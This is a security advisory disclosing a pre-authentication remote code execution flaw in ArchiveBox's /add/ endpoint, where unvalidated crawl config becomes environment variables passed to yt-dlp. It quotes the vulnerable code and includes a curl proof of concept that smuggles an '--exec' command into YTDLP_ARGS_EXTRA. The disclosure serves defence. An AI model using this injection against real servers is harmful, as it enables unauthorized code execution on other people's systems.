ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation:
```python
custom_config = form.cleaned_data.get("config") or {}
```
core/views.py:918 - merged into crawl config:
```python
config.update(custom_config)
```
config/configset.py:255-256 - crawl config applied with high priority:
```python
if crawl and hasattr(crawl, "config") and crawl.config:
config.update(crawl.config)
```
hooks.py:398-411 - config exported as env vars:
```python
for key, value in config.items():
if key in SKIP_KEYS: continue
env[key] = str(value)
```
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:
```python
ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", [])
cmd.extend(ytdlp_args_extra)
```
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
```bash
curl -X POST
http://localhost:8000/add/ \
-d "
url=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
-d "depth=0" \
-d "config={\"YTDLP_ARGS_EXTRA\": \"[\\\"--exec\\\", \\\"id > /tmp/pwned\\\"]\"}"
```
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.